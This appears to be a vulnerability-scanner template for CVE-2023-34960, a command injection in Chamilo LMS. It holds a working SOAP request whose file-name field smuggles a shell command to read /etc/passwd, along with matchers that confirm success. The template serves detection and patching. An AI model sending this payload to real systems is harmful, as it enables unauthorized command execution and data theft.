Chamilo Command Injection

id: CVE-2023-34960

info:
  name: Chamilo Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the command injection vulnerability in Chamilo LMS.
  reference:
    - https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D
    - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py
    - http://chamilo.com
    - http://packetstormsecurity.com/files/174314/Chamilo-1.11.18-Command-Injection.html
    - https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34960
    cwe-id: CWE-77
    epss-score: 0.99325
    epss-percentile: 0.9994
    cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: chamilo
    product: chamilo
    shodan-query:
      - http.component:"Chamilo"
      - http.component:"chamilo"
      - cpe:"cpe:2.3:a:chamilo:chamilo"
  tags: cve,cve2023,packetstorm,chamilo,vkev,vuln

http:
  - raw:
      - |
        POST /main/webservices/additional_webservices.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8

        <?xml version="1.0" encoding="UTF-8"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: word
        part: header
        words:
          - text/xml

      - type: status
        status:
          - 200
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